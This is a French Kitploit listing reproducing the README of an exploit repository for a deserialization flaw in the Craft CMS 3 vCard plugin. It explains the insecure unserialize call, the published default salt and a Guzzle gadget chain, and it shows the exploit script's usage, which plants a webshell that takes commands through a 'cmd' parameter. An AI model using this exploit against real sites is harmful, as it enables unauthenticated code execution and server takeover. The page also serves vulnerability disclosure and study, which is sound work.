Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitLabGitLab/wguest/craftcms-vcard-exploit
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitLabwguest/craftcms-vcard-exploit

craftcms-vcard-exploit

Ce dépôt contient des détails sur une vulnérabilité trouvée dans le plugin « vCard » pour CraftCMS 3.

Voir le dépôt
111il y a 6 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Vulnérabilité de désérialisation du plugin vCard de Craft CMS

Craft CMS dispose d'un plugin pour télécharger des contacts au format de fichier *.vcf intitulé « vCard ». Le plugin peut être consulté dans le dépôt de Craft et sur Github : Craft Plugin Store Github

Description

Ce plugin prend un paramètre envoyé par le client, déchiffre la valeur avec openssl_decrypt, puis passe la chaîne résultante à la fonction unserialize de PHP. Comme le sel par défaut du chiffrement est disponible dans le dépôt, un attaquant peut utiliser la même logique pour chiffrer une charge utile sérialisée malveillante.

Si l'utilisateur a configuré une valeur de « salt » modifiée dans les paramètres du plugin, celle-ci devra être fournie comme paramètre au script Python. Cependant, cette valeur restera inchangée si le plugin est téléchargé depuis la boutique de plugins ou simplement en clonant le dépôt. Il n'existe aucune option pour la modifier via l'interface web de Craft.

Utilisation du script

Exécutez le script en fournissant le lien vCard qui déclenche le téléchargement du contact. Supprimez la valeur du paramètre vcard.

Exemple : Exemple de lien de téléchargement vCard : http://craftcms/index.php?p=actions/vcard/default/index&vcard=GxHwdD1xmDkQoWbn_nPsgVR-2VOQt6w_oDmLl9h4jAglePdkMM1NMBKHTmq9Uuu7XFM9qvNs3Mi_B0-bT2JbfsflmMDzL29w2QaP28vRBHmyDLTMcacJwuBXEDUqF-sxovuY7oN-YFZXA4jOwC0CyxjLKIjz3UWBf-1ItLRkqKSSAHBuHOMeB5drdTqw67ZCmnlLVI7FYVUNBS9q3WrMRWMhexjHbO2VymDdV3q0GOlZmES9Imgdwq9ibI6okG_QFqHHq33a8U_m4NPvjTqsdm6Wm3OjcPSVV9L2RR8ZnhN9CayfaShb5jligs5b0So2Vddo8EmCZUgKP7-BIT4dlWRGwD_F0w2PyjUZRsRx25ydy6ZklXXHMb4fkrxuKXaHGfB8Y9SUbcQYAUK2OZhZno0FKWzUABDEjjvquevUSTgJr7wNq2oU4YpBwWoQCNGX7ILAuWN8_7GFIajhosdoOilLiLTmoJPWHfdpNKRaZlYcLX9zF7fUXw_BsHJZOySZhbSL0Q7ktzs__DygIL5uuongteXKIafhUFZxPEcC1W9OHy767Lgg77hJwp7lqF1krtHbbQ1o-4hV12dPkouauQ

Le paramètre à passer au script serait alors : "http://craftcms/index.php?p=actions/vcard/default/index&vcard="

$ ./exploit_vcard.py -u "http://craftcms/index.php?p=actions/vcard/default/index&vcard="
Deserialization has been triggered, navigate to craftCMS webroot/shell.php
Use GET parameter 'cmd' to execute commands
Example: http://craftcms/shell.php?cmd=ls%20-al;whoami;ip%20a

Une valeur de sel facultative peut être fournie. Toutes les options sont affichées ci-dessous :

usage: exploit_vcard.py [-h] -u URL [-s SALT] [-f FNAME]
Unauthenticated RCE for CraftCMS vCard Plugin

optional arguments:
-h, --help  show this help message and exit
-u URL      The URL for the vCard download without the vCard value Example:
          http://craftcms/index.php?p=actions/vcard/default/index&vcard=
-s SALT     Security key required for encrypting payload. Defaul is
          's34s4L7'
-f FNAME    File path/name to use as value in upload path: ./<value> . Use a
          PHP extension. Default value is 'shell.php'

Prérequis

  • Python3

Le script Python a été testé avec Python 3.6

  • PHP CLI

Le script exécutera une commande PHP sur la machine de l'attaquant pour chiffrer la charge utile. Par conséquent, php-cli devra être installé. Cette attaque a été testée avec PHP 7.2-cli et PHP 7.3-cli

Explication de la vulnérabilité

Voici un aperçu de l'endroit où le code désérialise de manière non sécurisée (VCardService.php:297) Github:

  public function decodeUrlParam($optionsString = "")
  {
    $optionsString = $this->decrypt($optionsString);
    $options = unserialize($optionsString);
    return $options;
  }

Le paramètre $optionsString est la valeur du paramètre d'URL « vcard » fourni par le client. Il passe par la fonction decrypt puis est désérialisé. Si le client peut reproduire le chiffrement, alors ce code devient vulnérable car il désérialise directement des données fournies par l'utilisateur.

Voici la fonction de chiffrement en question (VCardService.php:306) Github:

  protected function encrypt($string)
  {
    $key = VCard::$plugin->getSettings()->salt;
    $key = md5( $key );
    $iv = substr( md5( $key ), 0, 16);

    return rtrim(
      strtr(
        base64_encode(
          openssl_encrypt( $string, 'aes128', md5( $key ), true, $iv )
        ),
        '+/', '-_'
      ), '='
    );
  }

La seule valeur qu'un attaquant doit connaître est la variable $key définie par « VCard::$plugin->getSettings()->salt ». La valeur par défaut peut être consultée dans le dépôt sous la forme « s34s4L7 » (config.php:26) Github

En supposant que le sel par défaut est utilisé, un attaquant peut forcer la désérialisation de n'importe quelle classe dans l'installation Craft.

Nous devons trouver une classe « gadget » dans l'installation par défaut de Craft que nous pouvons utiliser à des fins malveillantes. L'examen des classes qui possèdent des fonctions magiques __destruct ou __wakeup fournit une liste suffisamment restreinte pour être analysée. Cela peut être fait avec « grep -rni < path to web root > -e '__destruct' »

guzzlehttp possède une classe intitulée « FileCookieJar » qui semble enregistrer un fichier en utilisant un attribut de classe comme nom de fichier :

./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php:38:    public function __destruct()
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-39-    {
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-40-        $this->save($this->filename);
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-41-    }
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-42-

L'examen de la fonction save montre qu'elle écrit des données dans un chemin de fichier système, le chemin et les données étant tous deux des attributs de classe contrôlés par l'attaquant. Il est logique que lorsque cet objet de classe est détruit, il écrive les cookies qu'il contient dans l'attribut du nom de fichier pour être récupérés ou utilisés ultérieurement. Voici le contenu de la fonction save, avec file_put_contents comme cible (FileCookieJar.php:52) Github:

public function save($filename)
{
    $json = [];
    foreach ($this as $cookie) {
        /** @var SetCookie $cookie */
        if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
            $json[] = $cookie->toArray();
        }
    }

    $jsonStr = \GuzzleHttp\json_encode($json);
 
    if (false === file_put_contents($filename, $jsonStr, LOCK_EX)) {
        throw new \RuntimeException("Unable to save file {$filename}");
    }
}

Heureusement, nous n'avons pas à faire le travail manuel nécessaire pour construire nous-mêmes la charge utile malveillante. L'outil remarquable PHPGGC automatise la sérialisation d'une classe Guzzle avec une charge utile que nous pouvons utiliser dans cet exploit.

J'ai utilisé l'outil pour créer ceci comme charge utile de base pour le script d'exploitation, bien qu'elle soit légèrement modifiée selon le nom de fichier. Il est également important de noter que si vous générez une nouvelle charge utile avec PHPGGC, le paramètre « -f » doit être utilisé, sinon la fonction magique __destruct ne s'exécutera pas :

Télécharger l’outil